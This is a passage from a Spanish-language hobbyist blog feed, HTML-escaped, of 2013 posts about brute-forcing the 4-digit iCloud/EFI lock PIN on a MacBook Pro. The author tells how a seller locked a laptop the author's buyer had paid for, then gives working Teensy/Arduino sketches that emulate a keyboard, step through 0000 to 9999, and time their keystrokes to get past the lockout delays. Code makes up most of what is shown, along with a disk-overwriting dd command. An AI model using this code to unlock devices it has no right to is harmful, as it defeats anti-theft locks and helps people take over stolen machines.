    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;301000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;secondloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;secondloop&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
    &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;secondloop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;//lets wait 15 minutes and 1 second&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;thirdloop&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;901000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;thirdloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;firstcompleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;firstloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;secondloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;thirdloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;thirdloop&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
    &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;thirdloop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;//lets get to work&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100503&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7049&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;%04d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fakecounter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;450&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;420&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;398&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;510&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;421&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;423&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;430&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;525&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;405&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;//reached 4 digit PIN max value&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;fakecounter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La versión actualizada de este sketch para Teensyduio siempre estará en &lt;a class="reference external" href="https://github.com/orvtech/efi-bruteforce"&gt;https://github.com/orvtech/efi-bruteforce&lt;/a&gt; Yo voy a tratar de mantener también esta pagina al día.&lt;/p&gt;
&lt;p&gt;Siéntanse libres de clonarlo, hacer forks y contribuir.&lt;/p&gt;
&lt;p&gt;Un miembro de la comunidad de MacRumors hizo una versión mas simple y
elegante de este que lo pueden ver aquí: &lt;a class="reference external" href="http://forums.macrumors.com/showpost.php?p=16988349&amp;amp;postcount=257"&gt;How to: Unlock System Lock PIN
Code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Supongo que con un botón y poca modificación del código se podrían tener
las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin
necesidad de programarlo.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 13 Mar 2013 22:45:00 -0700</pubDate><guid>tag:orvtech.com,2013-03-13:ataque-fuerza-bruta-pin-icloud.html</guid><category>Arduino</category><category>Embebido</category><category>hack</category><category>hacking</category><category>Hacks</category><category>Hardware</category><category>Linux</category><category>OSX</category><category>Teensy</category></item><item><title>Ataque automatizado de fuerza bruta al bloqueo por PIN del EFI de una MacBook Pro</title><link>http://orvtech.com/atacar-efi-pin-macbook-pro.html</link><description>&lt;p&gt;&lt;strong&gt;Actualizado:&lt;/strong&gt; El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin
problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has &lt;a class="reference external" href="#UPDATE"&gt;click aquí&lt;/a&gt;.&lt;/p&gt;
&lt;img alt="Teensy v3 usada para el ataque al EFI PIN" class="align-center" src="http://orvtech.info/2013/02/efi-attack-header.jpg" style="width: 640.0px; height: 250.0px;" /&gt;
&lt;p&gt;Dicen que de los errores se aprende así que quiero compartir este con
ustedes para que se les haga mas fácil.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="un-poco-de-historia-en-este-caso"&gt;
&lt;h2&gt;Un poco de historia en este caso.&lt;/h2&gt;
&lt;p&gt;Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía &amp;quot;devuelveme la laptop y te devuelvo el dinero&amp;quot;, justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.&lt;/p&gt;
&lt;p&gt;Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:&lt;/p&gt;
&lt;img alt="Captura de pantalla bloqueada por el iCloud PIN de OSX" class="align-center" src="http://orvtech.info/2013/02/icloud-pin-lock.jpg" style="width: 640px; height: 400px;" /&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="manos-a-la-obra"&gt;
&lt;h2&gt;Manos a la obra.&lt;/h2&gt;
&lt;p&gt;Como no conocía que intenciones o de lo que era capaz el vendedor
decidí formatear el disco a bajo nivel, lo monte en otra maquina y le
hice &lt;tt class="docutils literal"&gt;`dd &lt;span class="pre"&gt;if=/dev/random&lt;/span&gt; &lt;span class="pre"&gt;of=/dev/sdd`&lt;/span&gt;&lt;/tt&gt; como por unos 30 minutos,
detuve el proceso y volví a armar la MBP.&lt;/p&gt;
&lt;p&gt;Mi sorpresa fue que al querer iniciar desde el disco de OSX para
iniciar la re-instalación me salió otra pantalla donde pedía un
password, esta vez no tenia limite de caracteres pero seguía siendo
numérico. Investigando un poco me di cuenta que los procesos de NVRAM no
funcionarían pues esta MBP era muy nueva aunque de todas formas lo
intente y corrobore mi teoría.&lt;/p&gt;
&lt;p&gt;En algunos foros sugerían que se intente cada combinación manualmente y
que algunos les había tomado un par de semanas en sus ratos libres,
suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto
tiempo me tomaría? y si me salto por equivocación algún numero?&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="tengo-10-000-problemas-pero-automatizar-un-ataque-de-fuerza-bruta-al-efi-de-una-mac-no-es-uno-de-ellos"&gt;
&lt;h2&gt;Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.&lt;/h2&gt;
&lt;p&gt;Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la
playa y compartir con mi familia decidir automatizar este proceso. La
lógica es simple, un contador del 0 al 9999 que siempre le de formato a
la salida en forma de 4 dígitos, no es cosa del otro mundo.&lt;/p&gt;
&lt;p&gt;Que hardware puedo usar? que módulos del kernel en Linux tengo que
cargar para enviar la data desde una maquina a otra como si fuese un
teclado? así se inicia mi búsqueda y mi pronta realización de que
necesitaría un hardware especializado para esto.&lt;/p&gt;
&lt;p&gt;La mayoría de nuestras computadoras son incapaces de hacer que su
controladora USB se identifique como un HID (dispositivo de interfaz
humana por sus siglas en ingles) por lo que no podría hacer esto desde
mi computadora usando BASH o Python.&lt;/p&gt;
&lt;p&gt;Un dispositivo que podría funcionar es una Arduino pero no sin antes
armar un shield y el costo de este shield (ya teniendo el breadboard o
un protoshield) es de aproximadamente unos $24 sin incluir el envió y
los impuestos. La alternativa es el Teensy que con envió e impuesto me
costo poco menos de $23.&lt;/p&gt;
&lt;p&gt;El Teensy 3 termino siendo el hardware mas efectivo para esta tarea,
me hubiese gustado construir el shield requerido para el Arduino pero
sin mucho tiempo libre que se diga este no era opción.&lt;/p&gt;
&lt;p&gt;Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba
que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia
de los anteriores que funcionaban con 5 voltios y que la industria se
estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5
voltios quedarían obsoletos pronto.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="el-codigo-y-el-ataque"&gt;
&lt;h2&gt;El código y el ataque&lt;/h2&gt;
&lt;p&gt;Dos días después de que lo compre ya estaba en en casa y a los pocos
minutos ya lo tenia corriendo una version mas simple del codigo final.
Esta versión funcionaba sin problemas sobre un editor de texto plano,
el detalle esta en que al intentar contra la MacBook Pro de apple no
funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía
nunca enviar el &amp;quot;enter&amp;quot;.&lt;/p&gt;
&lt;p&gt;Al día siguiente con la mente mas fresca y no después de un turno de
12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se
gasto su tiempo para hacer esta forma de ataque lo mas difícil posible
para una maquina pero a la vez lo mas amigable para un humano así que me
dispuse a imitar un humano y luego de varios intentos termine con esta
versión del código:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cp"&gt;#include &amp;lt;usb_keyboard .h&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// This code is licensed under Apache 2.0 License&lt;/span&gt;
&lt;span class="c1"&gt;// http://www.apache.org/licenses/LICENSE-2.0.txt&lt;/span&gt;
&lt;span class="c1"&gt;// Limitation of Liability. In no event and under no legal theory,&lt;/span&gt;
&lt;span class="c1"&gt;// whether in tort (including negligence), contract, or otherwise,&lt;/span&gt;
&lt;span class="c1"&gt;// unless required by applicable law (such as deliberate and grossly&lt;/span&gt;
&lt;span class="c1"&gt;// negligent acts) or agreed to in writing, shall any Contributor be&lt;/span&gt;
&lt;span class="c1"&gt;// liable to You for damages, including any direct, indirect, special,&lt;/span&gt;
&lt;span class="c1"&gt;// incidental, or consequential damages of any character arising as a&lt;/span&gt;
&lt;span class="c1"&gt;// result of this License or out of the use or inability to use the&lt;/span&gt;
&lt;span class="c1"&gt;// Work (including but not limited to damages for loss of goodwill,&lt;/span&gt;
&lt;span class="c1"&gt;// work stoppage, computer failure or malfunction, or any and all&lt;/span&gt;
&lt;span class="c1"&gt;// other commercial damages or losses), even if such Contributor&lt;/span&gt;
&lt;span class="c1"&gt;// has been advised of the possibility of such damages.&lt;/span&gt;
&lt;span class="c1"&gt;// This code is indented for people who are not able to contact&lt;/span&gt;
&lt;span class="c1"&gt;// apple support and I am in no way liable for any damage or&lt;/span&gt;
&lt;span class="c1"&gt;// problems this code might cause.&lt;/span&gt;

&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ledPin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fakecounter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;xxxx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
  &lt;span class="n"&gt;keyboard_modifier_keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
